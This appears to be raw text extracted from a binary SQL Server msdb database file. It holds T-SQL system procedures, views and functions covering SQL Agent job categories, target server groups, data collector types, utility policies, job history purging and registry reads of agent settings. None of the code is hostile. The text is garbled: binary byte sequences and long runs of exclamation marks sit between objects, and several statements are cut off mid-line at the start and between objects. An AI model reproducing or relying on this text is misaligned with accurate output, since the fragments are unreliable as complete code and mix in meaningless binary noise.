    UPDATE [dbo].[sysdac_history_internal] 
    SET            
                action_status           = @action_status,
                sqlscript               = @sqlscript,
                error_string            = @error_string,
                date_modified           = (SELECT GETDATE()) 
    WHERE
                action_id               = @action_id AND
                action_type             = @action_type AND
                dac_object_type         = @dac_object_type AND
                dac_object_name_pretran = @dac_object_name_pretran AND
                dac_object_name_posttran = @dac_object_name_posttran
    
    SELECT @retval = @@error
    RETURN(@retval)
END
0uZ 8CREATE VIEW dbo.sysutility_ucp_policy_target_conditions 
AS
SELECT
    tc.rollup_object_type AS rollup_object_type,
    tc.target_type AS target_type,
    tc.resource_type AS resource_type,
    tc.utilization_type AS utilization_type, 
    tc.facet_name AS facet_name,
    tc.attribute_name AS attribute_name,
    tc.operator_type as operator_type,
    tc.property_name as property_name
FROM msdb.[dbo].[sysutility_ucp_policy_target_conditions_internal] tc
e,
        s2.id AS upload_package_id,
        dbo.fn_syscollector_get_package_path(s2.id) AS upload_package_path,
        s2.name AS upload_package_name,
        t.is_system
    FROM 
        [dbo].[syscollector_collector_types_internal] AS t,
        sysssispackages s1,
        sysssispackages s2
    WHERE t.collection_package_folderid = s1.folderid
      AND t.collection_package_name = s1.name
      AND t.upload_package_folderid = s2.folderid
      AND t.upload_package_name = s2.name
0R +8(getdate())0Ҭ  %8((0))0! $8('')0" $8('')!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!vAqf
Fb
=,-
[`<7Ov@v0Ci#@ 28CREATE PROCEDURE sp_help_targetservergroup
  @name sysname = NULL
AS
BEGIN
  DECLARE @servergroup_id INT

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @name = LTRIM(RTRIM(@name))

  IF (@name IS NULL)
  BEGIN
    -- Show all groups
    SELECT servergroup_id, name
    FROM msdb.dbo.systargetservergroups
    RETURN(@@error) -- 0 means success
  END
  ELSE
  BEGIN
    -- Check if the group exists
    SELECT @servergroup_id = servergroup_id
    FROM msdb.dbo.systargetservergroups
    WHERE (name = @name)

    IF (@servergroup_id IS NULL)
    BEGIN
      RAISERROR(14262, -1, -1, '@name', @name)
      RETURN(1) -- Failure
    END

    -- Return the members of the group
    SELECT sts.server_id,
           sts.server_name
    FROM msdb.dbo.systargetservers sts,
         msdb.dbo.systargetservergroupmembers stsgm
    WHERE (stsgm.servergroup_id = @servergroup_id)
      AND (stsgm.server_id = sts.server_id)

    RETURN(@@error) -- 0 means success
  END
END
0M# &8(NULL)0S# %8((0))0`I# 8CREATE PROCEDURE [dbo].[sp_syscollector_verify_collector_type]
    @collector_type_uid        uniqueidentifier = NULL OUTPUT,
    @name                    sysname = NULL OUTPUT
AS
BEGIN
    IF (@name IS NOT NULL)
    BEGIN
        -- Remove any leading/trailing spaces from parameters
        SET @name                    = NULLIF(LTRIM(RTRIM(@name)), N'')
    END

    IF (@collector_type_uid IS NULL AND @name IS NULL)
    BEGIN
        RAISERROR(14624, -1, -1, '@collector_type_uid, @name')
        RETURN(1)
    END

    IF (@collector_type_uid IS NOT NULL AND @name IS NOT NULL)
    BEGIN
        IF (NOT EXISTS(SELECT *
                        FROM dbo.syscollector_collector_types
                        WHERE collector_type_uid = @collector_type_uid
                        AND name = @name))
        BEGIN
            DECLARE @errMsg NVARCHAR(196)
            SELECT @errMsg = CONVERT(NVARCHAR(36), @collector_type_uid) + ', ' + @name
            RAISERROR(14262, -1, -1, '@collector_type_uid, @name', @errMsg)
            RETURN(1)
        END
    END
    -- Check id
    ELSE IF (@collector_type_uid IS NOT NULL)
    BEGIN
        SELECT @name = name
        FROM dbo.syscollector_collector_types
        WHERE (collector_type_uid = @collector_type_uid)
    
        -- the view would take care of all the permissions issues.
        IF (@name IS NULL) 
        BEGIN
            DECLARE @collector_type_uid_as_char VARCHAR(36)
            SELECT @collector_type_uid_as_char = CONVERT(VARCHAR(36), @collector_type_uid)
            RAISERROR(14262, -1, -1, '@collector_type_uid', @collector_type_uid_as_char)
            RETURN(1) -- Failure
        END
    END
    -- Check name
    ELSE IF (@name IS NOT NULL)
    BEGIN
        -- get the corresponding collector_type_uid (if the collector type exists)
        SELECT @collector_type_uid = collector_type_uid
        FROM dbo.syscollector_collector_types
        WHERE (name = @name)

        -- the view would take care of all the permissions issues.
        IF (@collector_type_uid IS NULL)
        BEGIN
            RAISERROR(14262, -1, -1, '@name', @name)
            RETURN(1) -- Failure
        END
    END
    RETURN (0)
END
06?# $8('')0D#@ D8v'h0erver_name', @server_name)
    RETURN(1) -- Failure
  END

  -- Check if the server is in the group
  IF (NOT EXISTS (SELECT *
                  FROM msdb.dbo.systargetservergroupmembers
                  WHERE (servergroup_id = @servergroup_id)
                    AND (server_id = @server_id)))
  BEGIN
    RAISERROR(14264, -1, -1, @server_name, @group_name)
    RETURN(1) -- Failure
  END

  -- Delete the row from systargetservergroupmembers
  DELETE FROM msdb.dbo.systargetservergroupmembers
  WHERE (servergroup_id = @servergroup_id)
    AND (server_id = @server_id)

  RETURN(@@error) -- 0 means success
END
0PE& 8CREATE PROCEDURE sp_verify_category
  @class          VARCHAR(8),
  @type           VARCHAR(12)  = NULL, -- Supply NULL only if you don't want it checked
  @name           sysname      = NULL, -- Supply NULL only if you don't want it checked
  @category_class INT OUTPUT,
  @category_type  INT OUTPUT           -- Supply NULL only if you don't want the return value
AS
BEGIN
  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @class = LTRIM(RTRIM(@class))
  SELECT @type  = LTRIM(RTRIM(@type))
  SELECT @name  = LTRIM(RTRIM(@name))

  -- Turn [nullable] empty string parameters into NULLs
  IF (@type = '') SELECT @type = NULL
  IF (@name = N'') SELECT @name = NULL

  -- Check class
  SELECT @class = UPPER(@class collate SQL_Latin1_General_CP1_CS_AS)
  SELECT @category_class = CASE @class
                             WHEN 'JOB'      THEN 1
                             WHEN 'ALERT'    THEN 2
                             WHEN 'OPERATOR' THEN 3
                             ELSE 0
                           END
  IF (@category_class = 0)
  BEGIN
    RAISERROR(14266, -1, -1, '@class', 'JOB, ALERT, OPERATOR')
    RETURN(1) -- Failure
  END

  -- Check name
  IF ((@name IS NOT NULL) AND (@name = N'[DEFAULT]'))
  BEGIN
    RAISERROR(14200, -1, -1, '@name')
    RETURN(1) -- Failure
  END

  -- Check type [optionally]
  IF (@type IS NOT NULL)
  BEGIN
    IF (@class = 'JOB')
    BEGIN
      SELECT @type = UPPER(@type collate SQL_Latin1_General_CP1_CS_AS)
      SELECT @category_type = CASE @type
                                WHEN 'LOCAL'        THEN 1
                                WHEN 'MULTI-SERVER' THEN 2
                                ELSE 0
                              END
      IF (@category_type = 0)
      BEGIN
        RAISERROR(14266, -1, -1, '@type', 'LOCAL, MULTI-SERVER')
        RETURN(1) -- Failure
      END
    END
    ELSE
    BEGIN
      IF (@type <> 'NONE')
      BEGIN
        RAISERROR(14266, -1, -1, '@type', 'NONE')
        RETURN(1) -- Failure
      END
      ELSE
        SELECT @category_type = 3
    END
  END

  RETURN(0) -- Success
END
0&& +8(getdate())0S# %8((0))0w$ $8('')0% %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

M
(
	I\


`.<KzL0zz& &8(NULL)0n' %8((0))0c( %8((0))09'  8CREATE PROCEDURE sp_add_category
  @class VARCHAR(8)   = 'JOB',   -- JOB or ALERT or OPERATOR
  @type  VARCHAR(12)  = 'LOCAL', -- LOCAL or MULTI-SERVER (for JOB) or NONE otherwise
  @name  sysname
AS
BEGIN
  DECLARE @retval         INT
  DECLARE @category_type  INT
  DECLARE @category_class INT

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @class = LTRIM(RTRIM(@class))
  SELECT @type  = LTRIM(RTRIM(@type))
  SELECT @name  = LTRIM(RTRIM(@name))

  EXECUTE @retval = sp_verify_category @class,
                                       @type,
                                       @name,
                                       @category_class OUTPUT,
                                       @category_type  OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure

  -- Check name
  IF (EXISTS (SELECT *
              FROM msdb.dbo.syscategories
              WHERE (category_class = @category_class)
                AND (name = @name)))
  BEGIN
    RAISERROR(14261, -1, -1, '@name', @name)
    RETURN(1) -- Failure
  END

  -- Add the row
  INSERT INTO msdb.dbo.syscategories (category_class, category_type, name)
  VALUES (@category_class, @category_type, @name)

  RETURN(@@error) -- 0 means success
END
0-( x8CREATE PROCEDURE sp_update_category
  @class    VARCHAR(8),  -- JOB or ALERT or OPERATOR
  @name     sysname,
  @new_name sysname
AS
BEGIN
  DECLARE @retval         INT
  DECLARE @category_id    INT
  DECLARE @category_class INT

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @class    = LTRIM(RTRIM(@class))
  SELECT @name     = LTRIM(RTRIM(@name))
  SELECT @new_name = LTRIM(RTRIM(@new_name))

  --turn empy parametrs tu null parameters
  IF @name = ''  SELECT @name = NULL

  EXECUTE @retval = sp_verify_category @class,
                                       NULL,
                                       @new_name,
                                       @category_class OUTPUT,
                                       NULL
  IF (@retval <> 0)
    RETURN(1) -- Failure

  --ID @name not null check id such a category exists
  --check name - it should exist if not null
  IF @name IS NOT NULL AND
     NOT EXISTS(SELECT * FROM msdb.dbo.syscategories WHERE name = @name 
      AND category_class = @category_class)
  BEGIN
      RAISERROR(14526, -1, -1, @name, @category_class)
      RETURN(1) -- Failure
  END  

  -- Check name
  SELECT @category_id = category_id
  FROM msdb.dbo.syscategories
  WHERE (category_class = @category_class)
    AND (name = @new_name)
  IF (@category_id IS NOT NULL)
  BEGIN
    RAISERROR(14261, -1, -1, '@new_name', @new_name)
    RETURN(1) -- Failure
  END

  -- Make sure that we're not updating one of the permanent categories (id's 0 - 99)
  IF (@category_id < 100)
  BEGIN
    RAISERROR(14276, -1, -1, @name, @class)
    RETURN(1) -- Failure
  END

  -- Update the category name
  UPDATE msdb.dbo.syscategories
  SET name = @new_name
  WHERE (category_class = @category_class)
    AND (name = @name)

  RETURN(@@error) -- 0 means success
END
0_' /8(suser_sname())0& 78CREATE PROCEDURE [dbo].[sp_syscollector_validate_xml]
    @collector_type_uid        uniqueidentifier = NULL,
    @name                    sysname = NULL,
    @parameters                xml
AS
BEGIN
    DECLARE @retVal int
    EXEC @retVal = dbo.sp_syscollector_verify_collector_type @collector_type_uid OUTPUT, @name OUTPUT
    IF (@retVal <> 0)
        RETURN (1)

    DECLARE @schema_collection sysname
    SET @schema_collection = (SELECT schema_collection 
                                FROM syscollector_collector_types_internal
                                WHERE @collector_type_uid = collector_type_uid)

    IF (@schema_collection IS NULL)
    BEGIN
        RAISERROR(21263, -1, -1, '@schema_collection')
        RETURN (1)
    END

        -- @sql_string should have enough buffer to include 2n+2 max size for QUOTENAME(@schema_collection).
    DECLARE @sql_string nvarchar(328)
    DECLARE @param_definition nvarchar(16)
    SET @param_definition = N'@param xml'
    SET @sql_string = N'DECLARE @validated_xml XML (DOCUMENT ' + QUOTENAME(@schema_collection, '[') + N'); SELECT @validated_xml = @param';
    EXEC @retVal = sp_executesql @sql_string, @param_definition, @param = @parameters

    IF (@retVal <> 0)
    BEGIN
        RETURN (1)
    END
END
0$' 8CREATE VIEW dbo.sysutility_ucp_policy_configuration AS
(    
    SELECT 1 AS utilization_type
        , CAST(UnderUtilizationOccurenceFrequency AS INT) AS occurence_frequency
        , CAST(UnderUtilizationTrailingWindow AS INT) AS trailing_window
    FROM (SELECT name, current_value FROM msdb.dbo.sysutility_ucp_configuration) config
        PIVOT (MAX(current_value) FOR name IN (UnderUtilizationOccurenceFrequency, UnderUtilizationTrailingWindow)) pvt

    UNION ALL

    SELECT 2 AS utilization_type
        , CAST(OverUtilizationOccurenceFrequency AS INT) AS occurence_frequency
        , CAST(OverUtilizationTrailingWindow AS INT) AS trailing_window
    FROM (SELECT name, current_value FROM msdb.dbo.sysutility_ucp_configuration) config
        PIVOT (MAX(current_value) FOR name IN (OverUtilizationOccurenceFrequency, OverUtilizationTrailingWindow)) pvt
) 
0)( }8
CREATE FUNCTION [dbo].[fn_sysutility_get_is_instance_ucp]()
RETURNS BIT 
AS
BEGIN
   RETURN (
      SELECT 
         CASE 
            WHEN ISNULL ((SELECT CAST (current_value as sysname) FROM msdb.dbo.sysutility_ucp_configuration_internal WHERE name = 'UtilityName'), '') = ''
            THEN 0
            ELSE 1
         END)
END;
0b
) 8CREATE FUNCTION dbo.fn_sysutility_get_culture_invariant_conversion_style_internal (@data_type varchar(30))
RETURNS tinyint
AS 
BEGIN
   RETURN 
      CASE 
         -- ISO8601, e.g. "yyyy-mm-ddThh:mi:ss.mmm"
         WHEN @data_type IN ('datetime', 'datetimeoffset', 'smalldatetime', 'datetime2', 'date', 'time') THEN 126
         -- scientific notation, 16 digits
         WHEN @data_type IN ('real', 'float') THEN 2
         -- e.g. "0x12AB"
         WHEN @data_type IN ('binary', 'varbinary') THEN 1 
         -- all other types including bit, integer types, (n)varchar, decimal/numeric
         ELSE 0 
      END;
END;
0ƻ& 8CREATE FUNCTION [dbo].[fn_sysutility_ucp_get_aggregated_failure_count](@policy_name SYSNAME, @target_query_expression NVARCHAR(max))
RETURNS INT 
AS
BEGIN
   DECLARE @count INT
   SET @count = 0;

    SELECT @count = COUNT(hs.result) 
    FROM msdb.dbo.sysutility_ucp_policy_violations hs
    INNER JOIN msdb.dbo.syspolicy_policies p ON hs.policy_id = p.policy_id
    WHERE (hs.target_query_expression_with_id LIKE +'%'+@target_query_expression+'%' ESCAPE '\'
    OR hs.target_query_expression LIKE +'%'+@target_query_expression+'%')
    AND hs.result = 0
    AND p.name = @policy_name

   RETURN @count
END
0' 8CREATE FUNCTION [dbo].[fn_sysutility_ucp_get_policy_violations](@policy_name SYSNAME, @target_query_expression NVARCHAR(max))
RETURNS @data TABLE 
( health_state_id BIGINT ) 
AS
BEGIN

   INSERT INTO @data
    SELECT hs.detail_id
    FROM msdb.dbo.sysutility_ucp_policy_violations hs
    INNER JOIN msdb.dbo.syspolicy_policies p ON hs.policy_id = p.policy_id
    WHERE (hs.target_query_expression_with_id LIKE +'%'+@target_query_expression+'%' ESCAPE '\'
    OR hs.target_query_expression LIKE +'%'+@target_query_expression+'%')
    AND hs.result = 0
    AND p.name = @policy_name
    
   RETURN 
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!GI$`
h
|
`))<?LF\0Г3, 8CREATE VIEW dbo.MSdatatype_mappings (dbms_name, sql_type, dest_type, dest_prec, dest_create_params, dest_nullable) AS SELECT destination_dbms, source_type, destination_type, case when (destination_createparams & 1) = 1 then destination_precision else destination_length end, destination_createparams, destination_nullable FROM sys.fn_helpdatatypemap(N'MSSQLSERVER', '%', '%', '%', '%', '%', 0)0	'- 8CREATE VIEW dbo.sysdatatypemappings AS SELECT * FROM sys.fn_helpdatatypemap('%', '%', '%', '%', '%', '%', 0)0߭, 
8CREATE PROCEDURE sp_purge_jobhistory
  @job_name     sysname          = NULL,
  @job_id       UNIQUEIDENTIFIER = NULL,
  @oldest_date  DATETIME         = NULL
AS
BEGIN
  DECLARE @rows_affected INT
  DECLARE @total_rows    INT
  DECLARE @datepart      INT
  DECLARE @timepart      INT
  DECLARE @retval        INT
  DECLARE @job_owner_sid VARBINARY(85)

  SET NOCOUNT ON

  IF(@oldest_date IS NOT NULL)
  BEGIN
    SET @datepart = CONVERT(INT, CONVERT(VARCHAR, @oldest_date, 112))
    SET @timepart = (DATEPART(hh, @oldest_date) * 10000) + (DATEPART(mi, @oldest_date) * 100) + (DATEPART(ss, @oldest_date))
  END
  ELSE
  BEGIN
    SET @datepart = 99999999
    SET @timepart = 0
  END

  IF ((@job_name IS NOT NULL) OR (@job_id IS NOT NULL))
  BEGIN
    EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                                '@job_id',
                                                 @job_name OUTPUT,
                                                 @job_id   OUTPUT,
                                                 @owner_sid = @job_owner_sid OUTPUT
    IF (@retval <> 0)
      RETURN(1) -- Failure
      
    -- Check permissions beyond what's checked by the sysjobs_view
    -- SQLAgentReader role that can see all jobs but
    -- cannot purge history of jobs they do not own
    IF (@job_owner_sid <> SUSER_SID()                      -- does not own the job
       AND (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1)       -- is not sysadmin
       AND (ISNULL(IS_MEMBER(N'SQLAgentOperatorRole'), 0) <> 1)) -- is not SQLAgentOperatorRole
    BEGIN
     RAISERROR(14392, -1, -1);
     RETURN(1) -- Failure
    END

    -- Delete the histories for this job
    DELETE FROM msdb.dbo.sysjobhistory
    WHERE (job_id = @job_id) AND
          ((run_date < @datepart) OR 
           (run_date <= @datepart AND run_time < @timepart))
    SELECT @rows_affected = @@rowcount
  END
  ELSE
  BEGIN
    -- Only a sysadmin or SQLAgentOperatorRole can do this
   IF ((ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1)           -- is not sysadmin
       AND (ISNULL(IS_MEMBER(N'SQLAgentOperatorRole'), 0) <> 1)) -- is not SQLAgentOperatorRole
    BEGIN
      RAISERROR(14392, -1, -1)
      RETURN(1) -- Failure
    END

    IF(@oldest_date IS NOT NULL)
    BEGIN
        DELETE FROM msdb.dbo.sysjobhistory
        WHERE ((run_date < @datepart) OR 
               (run_date <= @datepart AND run_time < @timepart))
    END
    ELSE
    BEGIN
        DELETE FROM msdb.dbo.sysjobhistory
    END
   
   SELECT @rows_affected = @@rowcount
  END

  RAISERROR(14226, 0, 1, @rows_affected)

  RETURN(0) -- Success
END
0, +8(getdate())0DZ- /8(suser_sname())0aS, 8CREATE VIEW [dbo].[syscollector_collection_items]
AS
    SELECT
        i.collection_set_id,
        i.collection_item_id,
        i.collector_type_uid,
        CASE 
            WHEN i.name_id IS NULL THEN i.name 
            ELSE FORMATMESSAGE(i.name_id)
        END AS name,        
        i.frequency,
        i.parameters
    FROM 
        [dbo].[syscollector_collection_items_internal] i
0G-@ 
8CREATE PROCEDURE [dbo].[sp_syscollector_delete_collector_type]
    @collector_type_uid            uniqueidentifier = NULL,
    @name                        sysname = NULL
AS
BEGIN
    DECLARE @TranCounter INT
    SET @TranCounter = @@TRANCOUNT
    IF (@TranCounter > 0)
        SAVE TRANSACTION tran_delete_collector_type
    ELSE
        BEGIN TRANSACTION
    BEGIN TRY

    -- Security check (role membership)
    IF (NOT (ISNULL(IS_MEMBER(N'dc_admin'), 0) = 1) AND NOT (ISNULL(IS_MEMBER(N'db_owner'), 0) = 1))
    BEGIN
        RAISERROR(14677, -1, -1, 'dc_admin')
        RETURN (1)
    END
    
    DECLARE @retVal int
    EXEC @retVal = dbo.sp_syscollector_verify_collector_type @collector_type_uid OUTPUT, @name OUTPUT
    IF (@retVal <> 0)
        RETURN (1)

    IF (EXISTS(SELECT * from dbo.syscollector_collection_items
        WHERE @collector_type_uid = collector_type_uid))
    BEGIN
        RAISERROR(14673, -1, -1, @name)
        RETURN (1)
    END
    
    DECLARE @schema_collection sysname
        -- @sql_string should have enough buffer to include 2n+2 max size for QUOTENAME(@schema_collection).
    DECLARE @sql_string nvarchar(285)
    SET @schema_collection = (SELECT schema_collection 
                                FROM syscollector_collector_types_internal
                                WHERE @collector_type_uid = collector_type_uid)
    SET @sql_string = N'DROP XML SCHEMA COLLECTION ' + QUOTENAME(@schema_collection, '[');
    EXEC sp_executesql @sql_string

    DELETE [dbo].[syscollector_collector_types_internal]
    WHERE collector_type_uid = @collector_type_uid

    IF (@TranCounter = 0)
        COMMIT TRANSACTION
    RETURN (0)
    END TRY
    BEGIN CATCH
        IF (@TranCounter = 0 OR XACT_STATE() = -1)
            ROLLBACK TRANSACTION
        ELSE IF (XACT_STATE() = 1)
            ROLLBACK TRANSACTION tran_delete_collector_type

        DECLARE @ErrorMessage   NVARCHAR(4000);
        DECLARE @ErrorSeverity  INT;
        DECLARE @ErrorState     INT;
        DECLARE @ErrorNumber    INT;
        DECLARE @ErrorLine      INT;
        DECLARE @ErrorProcedure NVARCHAR(200);
        SELECT @ErrorLine = ERROR_LINE(),
               @ErrorSeverity = ERROR_SEVERITY(),
               @ErrorState = ERROR_STATE(),
               @ErrorNumber = ERROR_NUMBER(),
               @ErrorMessage = ERROR_MESSAGE(),
               @ErrorProcedure = ISNULL(ERROR_PROCEDURE(), '-');

        RAISERROR (14684, @ErrorSeverity, -1 , @ErrorNumber, @ErrorSeverity, @ErrorState, @ErrorProcedure, @ErrorLine, @ErrorMessage);
        
        RETURN (1)
    END CATCH
END
0p- 8
CREATE FUNCTION [dbo].[fn_syspolicy_get_ps_command] (@schedule_uid uniqueidentifier)
RETURNS nvarchar(max)
AS
BEGIN
	
	DECLARE @schedule_uid_string nvarchar(max);
	SET @schedule_uid_string = CONVERT(nvarchar(36), @schedule_uid);
	
	-- translate to PSPath root name, for default instances 
	-- we need to add \default as instance name
	DECLARE @root_name nvarchar(100);
	SET @root_name = @@SERVERNAME
	IF( 0 = CHARINDEX('\', @@SERVERNAME))
		SET @root_name = @root_name + N'\default';
	
	DECLARE @command nvarchar(max);
	SET @command = N'dir SQLSERVER:\SQLPolicy\' + @root_name + 
				N'\Policies | where { $_.ScheduleUid -eq "' + @schedule_uid_string + 
				N'" } |  where { $_.Enabled -eq 1} | where {$_.AutomatedPolicyEvaluationMode -eq 4} | Invoke-PolicyEvaluation -AdHocPolicyEvaluationMode 2 -TargetServerName ' + @@SERVERNAME
				
	RETURN @command
END
0, 8
CREATE VIEW dbo.sysutility_ucp_volumes
AS
SELECT
    [ID] AS volume_id    -- todo (VSTS #345036): This column will be removed
    , physical_server_name AS physical_server_name
    , virtual_server_name AS virtual_server_name
    , volume_name
    , volume_device_id
    , powershell_path
    , total_space_available AS total_space
    , total_space_utilized AS total_space_used
    , percent_total_space_utilization AS total_space_utilization  
FROM dbo.syn_sysutility_ucp_volumes;
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!n9x
`	M

`<(])DvCREATE PROCEDURE sp_get_sqlagent_properties
AS
BEGIN
  DECLARE @auto_start                  INT
  DECLARE @startup_account             NVARCHAR(100)
  DECLARE @msx_server_name             sysname

  -- Non-SQLDMO exposed properties
  DECLARE @sqlserver_restart           INT
  DECLARE @jobhistory_max_rows         INT
  DECLARE @jobhistory_max_rows_per_job INT
  DECLARE @errorlog_file               NVARCHAR(255)
  DECLARE @errorlogging_level          INT
  DECLARE @error_recipient             NVARCHAR(30)
  DECLARE @monitor_autostart           INT
  DECLARE @local_host_server           sysname
  DECLARE @job_shutdown_timeout        INT
  DECLARE @cmdexec_account             VARBINARY(64)
  DECLARE @regular_connections         INT
  DECLARE @host_login_name             sysname
  DECLARE @host_login_password         VARBINARY(512)
  DECLARE @login_timeout               INT
  DECLARE @idle_cpu_percent            INT
  DECLARE @idle_cpu_duration           INT
  DECLARE @oem_errorlog                INT
  DECLARE @email_profile               NVARCHAR(64)
  DECLARE @email_save_in_sent_folder   INT
  DECLARE @cpu_poller_enabled          INT
  DECLARE @alert_replace_runtime_tokens INT

  SET NOCOUNT ON

  -- NOTE: We return all SQLServerAgent properties at one go for performance reasons

  -- Read the values from the registry
  IF ((PLATFORM() & 0x1) = 0x1) -- NT
  BEGIN
    DECLARE @key NVARCHAR(200)

    SELECT @key = N'SYSTEM\CurrentControlSet\Services\'
    IF (SERVERPROPERTY('INSTANCENAME') IS NOT NULL)
      SELECT @key = @key + N'SQLAgent$' + CONVERT (sysname, SERVERPROPERTY('INSTANCENAME'))
    ELSE
      SELECT @key = @key + N'SQLServerAgent'

    EXECUTE master.dbo.xp_regread N'HKEY_LOCAL_MACHINE',
                                  @key,
                                  N'Start',
                                  @auto_start OUTPUT,
                                  N'no_output'
    EXECUTE master.dbo.xp_regread N'HKEY_LOCAL_MACHINE',
                                  @key,
                                  N'ObjectName',
                                  @startup_account OUTPUT,
                                  N'no_output'
  END
  ELSE
  BEGIN
    SELECT @auto_start = 3 -- Manual start
    SELECT @startup_account = NULL
  END
  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                         N'MSXServerName',
                                         @msx_server_name OUTPUT,
                                         N'no_output'

  -- Non-SQLDMO exposed properties
  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                         N'RestartSQLServer',
                                         @sqlserver_restart OUTPUT,
                                         N'no_output'
  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                         N'JobHistoryMaxRows',
                                         @jobhistory_max_rows OUTPUT,
                                         N'no_output'
  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                         N'JobHistoryMaxRowsPerJob',
                                         @jobhistory_max_rows_per_job OUTPUT,
                                         N'no_output'
  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                         N'ErrorLogFile',
                                         @errorlog_file OUTPUT,
                                         N'no_output'
  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                         N'ErrorLoggingLevel',
                                         @errorlogging_level OUTPUT,
                                         N'no_output'
  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                         N'ErrorMonitor',
                                         @error_recipient OUTPUT,
                                         N'no_output'
  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                         N'MonitorAutoStart',
                                         @monitor_autostart OUTPUT,
                                         N'no_output'
  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                         N'ServerHost',
                                         @local_host_server OUTPUT,
                                         N'no_output'
  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                         N'JobShutdownTimeout',
